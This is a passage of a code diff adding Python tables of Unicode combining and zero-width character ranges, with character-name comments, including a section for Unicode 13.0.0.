Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00ebc,), # Lao Vowel Sign I ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 0x01074,), # Myanmar Vowel Sign Geba ..Myanmar Vowel Sign Kayah + (0x01082, 0x01082,), # Myanmar Consonant Sign S..Myanmar Consonant Sign S + (0x01085, 0x01086,), # Myanmar Vowel Sign Shan ..Myanmar Vowel Sign Shan + (0x0108d, 0x0108d,), # Myanmar Sign Shan Counci..Myanmar Sign Shan Counci + (0x0109d, 0x0109d,), # Myanmar Vowel Sign Aiton..Myanmar Vowel Sign Aiton + (0x0135d, 0x0135f,), # Ethiopic Combining Gemin..Ethiopic Combining Gemin + (0x01712, 0x01714,), # Tagalog Vowel Sign I ..Tagalog Sign Virama + (0x01732, 0x01734,), # Hanunoo Vowel Sign I ..Hanunoo Sign Pamudpod + (0x01752, 0x01753,), # Buhid Vowel Sign I ..Buhid Vowel Sign U + (0x01772, 0x01773,), # Tagbanwa Vowel Sign I ..Tagbanwa Vowel Sign U + (0x017b4, 0x017b5,), # Khmer Vowel Inherent Aq ..Khmer Vowel Inherent Aa + (0x017b7, 0x017bd,), # Khmer Vowel Sign I ..Khmer Vowel Sign Ua + (0x017c6, 0x017c6,), # Khmer Sign Nikahit ..Khmer Sign Nikahit + (0x017c9, 0x017d3,), # Khmer Sign Muusikatoan ..Khmer Sign Bathamasat + (0x017dd, 0x017dd,), # Khmer Sign Atthacan ..Khmer Sign Atthacan + (0x0180b, 0x0180d,), # Mongolian Free Variation..Mongolian Free Variation + (0x01885, 0x01886,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x018a9, 0x018a9,), # Mongolian Letter Ali Gal..Mongolian Letter Ali Gal + (0x01920, 0x01922,), # Limbu Vowel Sign A ..Limbu Vowel Sign U + (0x01927, 0x01928,), # Limbu Vowel Sign E ..Limbu Vowel Sign O + (0x01932, 0x01932,), # Limbu Small Letter Anusv..Limbu Small Letter Anusv + (0x01939, 0x0193b,), # Limbu Sign Mukphreng ..Limbu Sign Sa-i + (0x01a17, 0x01a18,), # Buginese Vowel Sign I ..Buginese Vowel Sign U + (0x01a1b, 0x01a1b,), # Buginese Vowel Sign Ae ..Buginese Vowel Sign Ae + (0x01a56, 0x01a56,), # Tai Tham Consonant Sign ..Tai Tham Consonant Sign + (0x01a58, 0x01a5e,), # Tai Tham Sign Mai Kang L..Tai Tham Consonant Sign + (0x01a60, 0x01a60,), # Tai Tham Sign Sakot ..Tai Tham Sign Sakot + (0x01a62, 0x01a62,), # Tai Tham Vowel Sign Mai ..Tai Tham Vowel Sign Mai + (0x01a65, 0x01a6c,), # Tai Tham Vowel Sign I ..Tai Tham Vowel Sign Oa B + (0x01a73, 0x01a7c,), # Tai Tham Vowel Sign Oa A..Tai Tham Sign Khuen-lue + (0x01a7f, 0x01a7f,), # Tai Tham Combining Crypt..Tai Tham Combining Crypt + (0x01ab0, 0x01abe,), # Combining Doubled Circum..Combining Parentheses Ov + (0x01b00, 0x01b03,), # Balinese Sign Ulu Ricem ..Balinese Sign Surang + (0x01b34, 0x01b34,), # Balinese Sign Rerekan ..Balinese Sign Rerekan + (0x01b36, 0x01b3a,), # Balinese Vowel Sign Ulu ..Balinese Vowel Sign Ra R + (0x01b3c, 0x01b3c,), # Balinese Vowel Sign La L..Balinese Vowel Sign La L + (0x01b42, 0x01b42,), # Balinese Vowel Sign Pepe..Balinese Vowel Sign Pepe + (0x01b6b, 0x01b73,), # Balinese Musical Symbol ..Balinese Musical Symbol + (0x01b80, 0x01b81,), # Sundanese Sign Panyecek ..Sundanese Sign Panglayar + (0x01ba2, 0x01ba5,), # Sundanese Consonant Sign..Sundanese Vowel Sign Pan + (0x01ba8, 0x01ba9,), # Sundanese Vowel Sign Pam..Sundanese Vowel Sign Pan + (0x01bab, 0x01bad,), # Sundanese Sign Virama ..Sundanese Consonant Sign + (0x01be6, 0x01be6,), # Batak Sign Tompi ..Batak Sign Tompi + (0x01be8, 0x01be9,), # Batak Vowel Sign Pakpak ..Batak Vowel Sign Ee + (0x01bed, 0x01bed,), # Batak Vowel Sign Karo O ..Batak Vowel Sign Karo O + (0x01bef, 0x01bf1,), # Batak Vowel Sign U For S..Batak Consonant Sign H + (0x01c2c, 0x01c33,), # Lepcha Vowel Sign E ..Lepcha Consonant Sign T + (0x01c36, 0x01c37,), # Lepcha Sign Ran ..Lepcha Sign Nukta + (0x01cd0, 0x01cd2,), # Vedic Tone Karshana ..Vedic Tone Prenkha + (0x01cd4, 0x01ce0,), # Vedic Sign Yajurvedic Mi..Vedic Tone Rigvedic Kash + (0x01ce2, 0x01ce8,), # Vedic Sign Visarga Svari..Vedic Sign Visarga Anuda + (0x01ced, 0x01ced,), # Vedic Sign Tiryak ..Vedic Sign Tiryak + (0x01cf4, 0x01cf4,), # Vedic Tone Candra Above ..Vedic Tone Candra Above + (0x01cf8, 0x01cf9,), # Vedic Tone Ring Above ..Vedic Tone Double Ring A + (0x01dc0, 0x01df9,), # Combining Dotted Grave A..Combining Wide Inverted + (0x01dfb, 0x01dff,), # Combining Deletion Mark ..Combining Right Arrowhea + (0x020d0, 0x020f0,), # Combining Left Harpoon A..Combining Asterisk Above + (0x02cef, 0x02cf1,), # Coptic Combining Ni Abov..Coptic Combining Spiritu + (0x02d7f, 0x02d7f,), # Tifinagh Consonant Joine..Tifinagh Consonant Joine + (0x02de0, 0x02dff,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0302a, 0x0302d,), # Ideographic Level Tone M..Ideographic Entering Ton + (0x03099, 0x0309a,), # Combining Katakana-hirag..Combining Katakana-hirag + (0x0a66f, 0x0a672,), # Combining Cyrillic Vzmet..Combining Cyrillic Thous + (0x0a674, 0x0a67d,), # Combining Cyrillic Lette..Combining Cyrillic Payer + (0x0a69e, 0x0a69f,), # Combining Cyrillic Lette..Combining Cyrillic Lette + (0x0a6f0, 0x0a6f1,), # Bamum Combining Mark Koq..Bamum Combining Mark Tuk + (0x0a802, 0x0a802,), # Syloti Nagri Sign Dvisva..Syloti Nagri Sign Dvisva + (0x0a806, 0x0a806,), # Syloti Nagri Sign Hasant..Syloti Nagri Sign Hasant + (0x0a80b, 0x0a80b,), # Syloti Nagri Sign Anusva..Syloti Nagri Sign Anusva + (0x0a825, 0x0a826,), # Syloti Nagri Vowel Sign ..Syloti Nagri Vowel Sign + (0x0a8c4, 0x0a8c5,), # Saurashtra Sign Virama ..Saurashtra Sign Candrabi + (0x0a8e0, 0x0a8f1,), # Combining Devanagari Dig..Combining Devanagari Sig + (0x0a8ff, 0x0a8ff,), # Devanagari Vowel Sign Ay..Devanagari Vowel Sign Ay + (0x0a926, 0x0a92d,), # Kayah Li Vowel Ue ..Kayah Li Tone Calya Plop + (0x0a947, 0x0a951,), # Rejang Vowel Sign I ..Rejang Consonant Sign R + (0x0a980, 0x0a982,), # Javanese Sign Panyangga ..Javanese Sign Layar + (0x0a9b3, 0x0a9b3,), # Javanese Sign Cecak Telu..Javanese Sign Cecak Telu + (0x0a9b6, 0x0a9b9,), # Javanese Vowel Sign Wulu..Javanese Vowel Sign Suku + (0x0a9bc, 0x0a9bd,), # Javanese Vowel Sign Pepe..Javanese Consonant Sign + (0x0a9e5, 0x0a9e5,), # Myanmar Sign Shan Saw ..Myanmar Sign Shan Saw + (0x0aa29, 0x0aa2e,), # Cham Vowel Sign Aa ..Cham Vowel Sign Oe + (0x0aa31, 0x0aa32,), # Cham Vowel Sign Au ..Cham Vowel Sign Ue + (0x0aa35, 0x0aa36,), # Cham Consonant Sign La ..Cham Consonant Sign Wa + (0x0aa43, 0x0aa43,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa4c, 0x0aa4c,), # Cham Consonant Sign Fina..Cham Consonant Sign Fina + (0x0aa7c, 0x0aa7c,), # Myanmar Sign Tai Laing T..Myanmar Sign Tai Laing T + (0x0aab0, 0x0aab0,), # Tai Viet Mai Kang ..Tai Viet Mai Kang + (0x0aab2, 0x0aab4,), # Tai Viet Vowel I ..Tai Viet Vowel U + (0x0aab7, 0x0aab8,), # Tai Viet Mai Khit ..Tai Viet Vowel Ia + (0x0aabe, 0x0aabf,), # Tai Viet Vowel Am ..Tai Viet Tone Mai Ek + (0x0aac1, 0x0aac1,), # Tai Viet Tone Mai Tho ..Tai Viet Tone Mai Tho + (0x0aaec, 0x0aaed,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0aaf6, 0x0aaf6,), # Meetei Mayek Virama ..Meetei Mayek Virama + (0x0abe5, 0x0abe5,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abe8, 0x0abe8,), # Meetei Mayek Vowel Sign ..Meetei Mayek Vowel Sign + (0x0abed, 0x0abed,), # Meetei Mayek Apun Iyek ..Meetei Mayek Apun Iyek + (0x0fb1e, 0x0fb1e,), # Hebrew Point Judeo-spani..Hebrew Point Judeo-spani + (0x0fe00, 0x0fe0f,), # Variation Selector-1 ..Variation Selector-16 + (0x0fe20, 0x0fe2f,), # Combining Ligature Left ..Combining Cyrillic Titlo + (0x101fd, 0x101fd,), # Phaistos Disc Sign Combi..Phaistos Disc Sign Combi + (0x102e0, 0x102e0,), # Coptic Epact Thousands M..Coptic Epact Thousands M + (0x10376, 0x1037a,), # Combining Old Permic Let..Combining Old Permic Let + (0x10a01, 0x10a03,), # Kharoshthi Vowel Sign I ..Kharoshthi Vowel Sign Vo + (0x10a05, 0x10a06,), # Kharoshthi Vowel Sign E ..Kharoshthi Vowel Sign O + (0x10a0c, 0x10a0f,), # Kharoshthi Vowel Length ..Kharoshthi Sign Visarga + (0x10a38, 0x10a3a,), # Kharoshthi Sign Bar Abov..Kharoshthi Sign Dot Belo + (0x10a3f, 0x10a3f,), # Kharoshthi Virama ..Kharoshthi Virama + (0x10ae5, 0x10ae6,), # Manichaean Abbreviation ..Manichaean Abbreviation + (0x10d24, 0x10d27,), # Hanifi Rohingya Sign Har..Hanifi Rohingya Sign Tas + (0x10f46, 0x10f50,), # Sogdian Combining Dot Be..Sogdian Combining Stroke + (0x11001, 0x11001,), # Brahmi Sign Anusvara ..Brahmi Sign Anusvara + (0x11038, 0x11046,), # Brahmi Vowel Sign Aa ..Brahmi Virama + (0x1107f, 0x11081,), # Brahmi Number Joiner ..Kaithi Sign Anusvara + (0x110b3, 0x110b6,), # Kaithi Vowel Sign U ..Kaithi Vowel Sign Ai + (0x110b9, 0x110ba,), # Kaithi Sign Virama ..Kaithi Sign Nukta + (0x11100, 0x11102,), # Chakma Sign Candrabindu ..Chakma Sign Visarga + (0x11127, 0x1112b,), # Chakma Vowel Sign A ..Chakma Vowel Sign Uu + (0x1112d, 0x11134,), # Chakma Vowel Sign Ai ..Chakma Maayyaa + (0x11173, 0x11173,), # Mahajani Sign Nukta ..Mahajani Sign Nukta + (0x11180, 0x11181,), # Sharada Sign Candrabindu..Sharada Sign Anusvara + (0x111b6, 0x111be,), # Sharada Vowel Sign U ..Sharada Vowel Sign O + (0x111c9, 0x111cc,), # Sharada Sandhi Mark ..Sharada Extra Short Vowe + (0x1122f, 0x11231,), # Khojki Vowel Sign U ..Khojki Vowel Sign Ai + (0x11234, 0x11234,), # Khojki Sign Anusvara ..Khojki Sign Anusvara + (0x11236, 0x11237,), # Khojki Sign Nukta ..Khojki Sign Shadda + (0x1123e, 0x1123e,), # Khojki Sign Sukun ..Khojki Sign Sukun + (0x112df, 0x112df,), # Khudawadi Sign Anusvara ..Khudawadi Sign Anusvara + (0x112e3, 0x112ea,), # Khudawadi Vowel Sign U ..Khudawadi Sign Virama + (0x11300, 0x11301,), # Grantha Sign Combining A..Grantha Sign Candrabindu + (0x1133b, 0x1133c,), # Combining Bindu Below ..Grantha Sign Nukta + (0x11340, 0x11340,), # Grantha Vowel Sign Ii ..Grantha Vowel Sign Ii + (0x11366, 0x1136c,), # Combining Grantha Digit ..Combining Grantha Digit + (0x11370, 0x11374,), # Combining Grantha Letter..Combining Grantha Letter + (0x11438, 0x1143f,), # Newa Vowel Sign U ..Newa Vowel Sign Ai + (0x11442, 0x11444,), # Newa Sign Virama ..Newa Sign Anusvara + (0x11446, 0x11446,), # Newa Sign Nukta ..Newa Sign Nukta + (0x1145e, 0x1145e,), # Newa Sandhi Mark ..Newa Sandhi Mark + (0x114b3, 0x114b8,), # Tirhuta Vowel Sign U ..Tirhuta Vowel Sign Vocal + (0x114ba, 0x114ba,), # Tirhuta Vowel Sign Short..Tirhuta Vowel Sign Short + (0x114bf, 0x114c0,), # Tirhuta Sign Candrabindu..Tirhuta Sign Anusvara + (0x114c2, 0x114c3,), # Tirhuta Sign Virama ..Tirhuta Sign Nukta + (0x115b2, 0x115b5,), # Siddham Vowel Sign U ..Siddham Vowel Sign Vocal + (0x115bc, 0x115bd,), # Siddham Sign Candrabindu..Siddham Sign Anusvara + (0x115bf, 0x115c0,), # Siddham Sign Virama ..Siddham Sign Nukta + (0x115dc, 0x115dd,), # Siddham Vowel Sign Alter..Siddham Vowel Sign Alter + (0x11633, 0x1163a,), # Modi Vowel Sign U ..Modi Vowel Sign Ai + (0x1163d, 0x1163d,), # Modi Sign Anusvara ..Modi Sign Anusvara + (0x1163f, 0x11640,), # Modi Sign Virama ..Modi Sign Ardhacandra + (0x116ab, 0x116ab,), # Takri Sign Anusvara ..Takri Sign Anusvara + (0x116ad, 0x116ad,), # Takri Vowel Sign Aa ..Takri Vowel Sign Aa + (0x116b0, 0x116b5,), # Takri Vowel Sign U ..Takri Vowel Sign Au + (0x116b7, 0x116b7,), # Takri Sign Nukta ..Takri Sign Nukta + (0x1171d, 0x1171f,), # Ahom Consonant Sign Medi..Ahom Consonant Sign Medi + (0x11722, 0x11725,), # Ahom Vowel Sign I ..Ahom Vowel Sign Uu + (0x11727, 0x1172b,), # Ahom Vowel Sign Aw ..Ahom Sign Killer + (0x1182f, 0x11837,), # Dogra Vowel Sign U ..Dogra Sign Anusvara + (0x11839, 0x1183a,), # Dogra Sign Virama ..Dogra Sign Nukta + (0x119d4, 0x119d7,), # Nandinagari Vowel Sign U..Nandinagari Vowel Sign V + (0x119da, 0x119db,), # Nandinagari Vowel Sign E..Nandinagari Vowel Sign A + (0x119e0, 0x119e0,), # Nandinagari Sign Virama ..Nandinagari Sign Virama + (0x11a01, 0x11a0a,), # Zanabazar Square Vowel S..Zanabazar Square Vowel L + (0x11a33, 0x11a38,), # Zanabazar Square Final C..Zanabazar Square Sign An + (0x11a3b, 0x11a3e,), # Zanabazar Square Cluster..Zanabazar Square Cluster + (0x11a47, 0x11a47,), # Zanabazar Square Subjoin..Zanabazar Square Subjoin + (0x11a51, 0x11a56,), # Soyombo Vowel Sign I ..Soyombo Vowel Sign Oe + (0x11a59, 0x11a5b,), # Soyombo Vowel Sign Vocal..Soyombo Vowel Length Mar + (0x11a8a, 0x11a96,), # Soyombo Final Consonant ..Soyombo Sign Anusvara + (0x11a98, 0x11a99,), # Soyombo Gemination Mark ..Soyombo Subjoiner + (0x11c30, 0x11c36,), # Bhaiksuki Vowel Sign I ..Bhaiksuki Vowel Sign Voc + (0x11c38, 0x11c3d,), # Bhaiksuki Vowel Sign E ..Bhaiksuki Sign Anusvara + (0x11c3f, 0x11c3f,), # Bhaiksuki Sign Virama ..Bhaiksuki Sign Virama + (0x11c92, 0x11ca7,), # Marchen Subjoined Letter..Marchen Subjoined Letter + (0x11caa, 0x11cb0,), # Marchen Subjoined Letter..Marchen Vowel Sign Aa + (0x11cb2, 0x11cb3,), # Marchen Vowel Sign U ..Marchen Vowel Sign E + (0x11cb5, 0x11cb6,), # Marchen Sign Anusvara ..Marchen Sign Candrabindu + (0x11d31, 0x11d36,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3a, 0x11d3a,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3c, 0x11d3d,), # Masaram Gondi Vowel Sign..Masaram Gondi Vowel Sign + (0x11d3f, 0x11d45,), # Masaram Gondi Vowel Sign..Masaram Gondi Virama + (0x11d47, 0x11d47,), # Masaram Gondi Ra-kara ..Masaram Gondi Ra-kara + (0x11d90, 0x11d91,), # Gunjala Gondi Vowel Sign..Gunjala Gondi Vowel Sign + (0x11d95, 0x11d95,), # Gunjala Gondi Sign Anusv..Gunjala Gondi Sign Anusv + (0x11d97, 0x11d97,), # Gunjala Gondi Virama ..Gunjala Gondi Virama + (0x11ef3, 0x11ef4,), # Makasar Vowel Sign I ..Makasar Vowel Sign U + (0x16af0, 0x16af4,), # Bassa Vah Combining High..Bassa Vah Combining High + (0x16b30, 0x16b36,), # Pahawh Hmong Mark Cim Tu..Pahawh Hmong Mark Cim Ta + (0x16f4f, 0x16f4f,), # Miao Sign Consonant Modi..Miao Sign Consonant Modi + (0x16f8f, 0x16f92,), # Miao Tone Right ..Miao Tone Below + (0x1bc9d, 0x1bc9e,), # Duployan Thick Letter Se..Duployan Double Mark + (0x1d167, 0x1d169,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d17b, 0x1d182,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d185, 0x1d18b,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d1aa, 0x1d1ad,), # Musical Symbol Combining..Musical Symbol Combining + (0x1d242, 0x1d244,), # Combining Greek Musical ..Combining Greek Musical + (0x1da00, 0x1da36,), # Signwriting Head Rim ..Signwriting Air Sucking + (0x1da3b, 0x1da6c,), # Signwriting Mouth Closed..Signwriting Excitement + (0x1da75, 0x1da75,), # Signwriting Upper Body T..Signwriting Upper Body T + (0x1da84, 0x1da84,), # Signwriting Location Hea..Signwriting Location Hea + (0x1da9b, 0x1da9f,), # Signwriting Fill Modifie..Signwriting Fill Modifie + (0x1daa1, 0x1daaf,), # Signwriting Rotation Mod..Signwriting Rotation Mod + (0x1e000, 0x1e006,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e008, 0x1e018,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e01b, 0x1e021,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e023, 0x1e024,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e026, 0x1e02a,), # Combining Glagolitic Let..Combining Glagolitic Let + (0x1e130, 0x1e136,), # Nyiakeng Puachue Hmong T..Nyiakeng Puachue Hmong T + (0x1e2ec, 0x1e2ef,), # Wancho Tone Tup ..Wancho Tone Koini + (0x1e8d0, 0x1e8d6,), # Mende Kikakui Combining ..Mende Kikakui Combining + (0x1e944, 0x1e94a,), # Adlam Alif Lengthener ..Adlam Nukta + (0xe0100, 0xe01ef,), # Variation Selector-17 ..Variation Selector-256 + ), + '13.0.0': ( + # Source: DerivedGeneralCategory-13.0.0.txt + # Date: 2019-10-21, 14:30:32 GMT + # + (0x00300, 0x0036f,), # Combining Grave Accent ..Combining Latin Small Le + (0x00483, 0x00489,), # Combining Cyrillic Titlo..Combining Cyrillic Milli + (0x00591, 0x005bd,), # Hebrew Accent Etnahta ..Hebrew Point Meteg + (0x005bf, 0x005bf,), # Hebrew Point Rafe ..Hebrew Point Rafe + (0x005c1, 0x005c2,), # Hebrew Point Shin Dot ..Hebrew Point Sin Dot + (0x005c4, 0x005c5,), # Hebrew Mark Upper Dot ..Hebrew Mark Lower Dot + (0x005c7, 0x005c7,), # Hebrew Point Qamats Qata..Hebrew Point Qamats Qata + (0x00610, 0x0061a,), # Arabic Sign Sallallahou ..Arabic Small Kasra + (0x0064b, 0x0065f,), # Arabic Fathatan ..Arabic Wavy Hamza Below + (0x00670, 0x00670,), # Arabic Letter Superscrip..Arabic Letter Superscrip + (0x006d6, 0x006dc,), # Arabic Small High Ligatu..Arabic Small High Seen + (0x006df, 0x006e4,), # Arabic Small High Rounde..Arabic Small High Madda + (0x006e7, 0x006e8,), # Arabic Small High Yeh ..Arabic Small High Noon + (0x006ea, 0x006ed,), # Arabic Empty Centre Low ..Arabic Small Low Meem + (0x00711, 0x00711,), # Syriac Letter Superscrip..Syriac Letter Superscrip + (0x00730, 0x0074a,), # Syriac Pthaha Above ..Syriac Barrekh + (0x007a6, 0x007b0,), # Thaana Abafili ..Thaana Sukun + (0x007eb, 0x007f3,), # Nko Combining Short High..Nko Combining Double Dot + (0x007fd, 0x007fd,), # Nko Dantayalan ..Nko Dantayalan + (0x00816, 0x00819,), # Samaritan Mark In ..Samaritan Mark Dagesh + (0x0081b, 0x00823,), # Samaritan Mark Epentheti..Samaritan Vowel Sign A + (0x00825, 0x00827,), # Samaritan Vowel Sign Sho..Samaritan Vowel Sign U + (0x00829, 0x0082d,), # Samaritan Vowel Sign Lon..Samaritan Mark Nequdaa + (0x00859, 0x0085b,), # Mandaic Affrication Mark..Mandaic Gemination Mark + (0x008d3, 0x008e1,), # Arabic Small Low Waw ..Arabic Small High Sign S + (0x008e3, 0x00902,), # Arabic Turned Damma Belo..Devanagari Sign Anusvara + (0x0093a, 0x0093a,), # Devanagari Vowel Sign Oe..Devanagari Vowel Sign Oe + (0x0093c, 0x0093c,), # Devanagari Sign Nukta ..Devanagari Sign Nukta + (0x00941, 0x00948,), # Devanagari Vowel Sign U ..Devanagari Vowel Sign Ai + (0x0094d, 0x0094d,), # Devanagari Sign Virama ..Devanagari Sign Virama + (0x00951, 0x00957,), # Devanagari Stress Sign U..Devanagari Vowel Sign Uu + (0x00962, 0x00963,), # Devanagari Vowel Sign Vo..Devanagari Vowel Sign Vo + (0x00981, 0x00981,), # Bengali Sign Candrabindu..Bengali Sign Candrabindu + (0x009bc, 0x009bc,), # Bengali Sign Nukta ..Bengali Sign Nukta + (0x009c1, 0x009c4,), # Bengali Vowel Sign U ..Bengali Vowel Sign Vocal + (0x009cd, 0x009cd,), # Bengali Sign Virama ..Bengali Sign Virama + (0x009e2, 0x009e3,), # Bengali Vowel Sign Vocal..Bengali Vowel Sign Vocal + (0x009fe, 0x009fe,), # Bengali Sandhi Mark ..Bengali Sandhi Mark + (0x00a01, 0x00a02,), # Gurmukhi Sign Adak Bindi..Gurmukhi Sign Bindi + (0x00a3c, 0x00a3c,), # Gurmukhi Sign Nukta ..Gurmukhi Sign Nukta + (0x00a41, 0x00a42,), # Gurmukhi Vowel Sign U ..Gurmukhi Vowel Sign Uu + (0x00a47, 0x00a48,), # Gurmukhi Vowel Sign Ee ..Gurmukhi Vowel Sign Ai + (0x00a4b, 0x00a4d,), # Gurmukhi Vowel Sign Oo ..Gurmukhi Sign Virama + (0x00a51, 0x00a51,), # Gurmukhi Sign Udaat ..Gurmukhi Sign Udaat + (0x00a70, 0x00a71,), # Gurmukhi Tippi ..Gurmukhi Addak + (0x00a75, 0x00a75,), # Gurmukhi Sign Yakash ..Gurmukhi Sign Yakash + (0x00a81, 0x00a82,), # Gujarati Sign Candrabind..Gujarati Sign Anusvara + (0x00abc, 0x00abc,), # Gujarati Sign Nukta ..Gujarati Sign Nukta + (0x00ac1, 0x00ac5,), # Gujarati Vowel Sign U ..Gujarati Vowel Sign Cand + (0x00ac7, 0x00ac8,), # Gujarati Vowel Sign E ..Gujarati Vowel Sign Ai + (0x00acd, 0x00acd,), # Gujarati Sign Virama ..Gujarati Sign Virama + (0x00ae2, 0x00ae3,), # Gujarati Vowel Sign Voca..Gujarati Vowel Sign Voca + (0x00afa, 0x00aff,), # Gujarati Sign Sukun ..Gujarati Sign Two-circle + (0x00b01, 0x00b01,), # Oriya Sign Candrabindu ..Oriya Sign Candrabindu + (0x00b3c, 0x00b3c,), # Oriya Sign Nukta ..Oriya Sign Nukta + (0x00b3f, 0x00b3f,), # Oriya Vowel Sign I ..Oriya Vowel Sign I + (0x00b41, 0x00b44,), # Oriya Vowel Sign U ..Oriya Vowel Sign Vocalic + (0x00b4d, 0x00b4d,), # Oriya Sign Virama ..Oriya Sign Virama + (0x00b55, 0x00b56,), # (nil) ..Oriya Ai Length Mark + (0x00b62, 0x00b63,), # Oriya Vowel Sign Vocalic..Oriya Vowel Sign Vocalic + (0x00b82, 0x00b82,), # Tamil Sign Anusvara ..Tamil Sign Anusvara + (0x00bc0, 0x00bc0,), # Tamil Vowel Sign Ii ..Tamil Vowel Sign Ii + (0x00bcd, 0x00bcd,), # Tamil Sign Virama ..Tamil Sign Virama + (0x00c00, 0x00c00,), # Telugu Sign Combining Ca..Telugu Sign Combining Ca + (0x00c04, 0x00c04,), # Telugu Sign Combining An..Telugu Sign Combining An + (0x00c3e, 0x00c40,), # Telugu Vowel Sign Aa ..Telugu Vowel Sign Ii + (0x00c46, 0x00c48,), # Telugu Vowel Sign E ..Telugu Vowel Sign Ai + (0x00c4a, 0x00c4d,), # Telugu Vowel Sign O ..Telugu Sign Virama + (0x00c55, 0x00c56,), # Telugu Length Mark ..Telugu Ai Length Mark + (0x00c62, 0x00c63,), # Telugu Vowel Sign Vocali..Telugu Vowel Sign Vocali + (0x00c81, 0x00c81,), # Kannada Sign Candrabindu..Kannada Sign Candrabindu + (0x00cbc, 0x00cbc,), # Kannada Sign Nukta ..Kannada Sign Nukta + (0x00cbf, 0x00cbf,), # Kannada Vowel Sign I ..Kannada Vowel Sign I + (0x00cc6, 0x00cc6,), # Kannada Vowel Sign E ..Kannada Vowel Sign E + (0x00ccc, 0x00ccd,), # Kannada Vowel Sign Au ..Kannada Sign Virama + (0x00ce2, 0x00ce3,), # Kannada Vowel Sign Vocal..Kannada Vowel Sign Vocal + (0x00d00, 0x00d01,), # Malayalam Sign Combining..Malayalam Sign Candrabin + (0x00d3b, 0x00d3c,), # Malayalam Sign Vertical ..Malayalam Sign Circular + (0x00d41, 0x00d44,), # Malayalam Vowel Sign U ..Malayalam Vowel Sign Voc + (0x00d4d, 0x00d4d,), # Malayalam Sign Virama ..Malayalam Sign Virama + (0x00d62, 0x00d63,), # Malayalam Vowel Sign Voc..Malayalam Vowel Sign Voc + (0x00d81, 0x00d81,), # (nil) ..(nil) + (0x00dca, 0x00dca,), # Sinhala Sign Al-lakuna ..Sinhala Sign Al-lakuna + (0x00dd2, 0x00dd4,), # Sinhala Vowel Sign Ketti..Sinhala Vowel Sign Ketti + (0x00dd6, 0x00dd6,), # Sinhala Vowel Sign Diga ..Sinhala Vowel Sign Diga + (0x00e31, 0x00e31,), # Thai Character Mai Han-a..Thai Character Mai Han-a + (0x00e34, 0x00e3a,), # Thai Character Sara I ..Thai Character Phinthu + (0x00e47, 0x00e4e,), # Thai Character Maitaikhu..Thai Character Yamakkan + (0x00eb1, 0x00eb1,), # Lao Vowel Sign Mai Kan ..Lao Vowel Sign Mai Kan + (0x00eb4, 0x00ebc,), # Lao Vowel Sign I ..Lao Semivowel Sign Lo + (0x00ec8, 0x00ecd,), # Lao Tone Mai Ek ..Lao Niggahita + (0x00f18, 0x00f19,), # Tibetan Astrological Sig..Tibetan Astrological Sig + (0x00f35, 0x00f35,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f37, 0x00f37,), # Tibetan Mark Ngas Bzung ..Tibetan Mark Ngas Bzung + (0x00f39, 0x00f39,), # Tibetan Mark Tsa -phru ..Tibetan Mark Tsa -phru + (0x00f71, 0x00f7e,), # Tibetan Vowel Sign Aa ..Tibetan Sign Rjes Su Nga + (0x00f80, 0x00f84,), # Tibetan Vowel Sign Rever..Tibetan Mark Halanta + (0x00f86, 0x00f87,), # Tibetan Sign Lci Rtags ..Tibetan Sign Yang Rtags + (0x00f8d, 0x00f97,), # Tibetan Subjoined Sign L..Tibetan Subjoined Letter + (0x00f99, 0x00fbc,), # Tibetan Subjoined Letter..Tibetan Subjoined Letter + (0x00fc6, 0x00fc6,), # Tibetan Symbol Padma Gda..Tibetan Symbol Padma Gda + (0x0102d, 0x01030,), # Myanmar Vowel Sign I ..Myanmar Vowel Sign Uu + (0x01032, 0x01037,), # Myanmar Vowel Sign Ai ..Myanmar Sign Dot Below + (0x01039, 0x0103a,), # Myanmar Sign Virama ..Myanmar Sign Asat + (0x0103d, 0x0103e,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01058, 0x01059,), # Myanmar Vowel Sign Vocal..Myanmar Vowel Sign Vocal + (0x0105e, 0x01060,), # Myanmar Consonant Sign M..Myanmar Consonant Sign M + (0x01071, 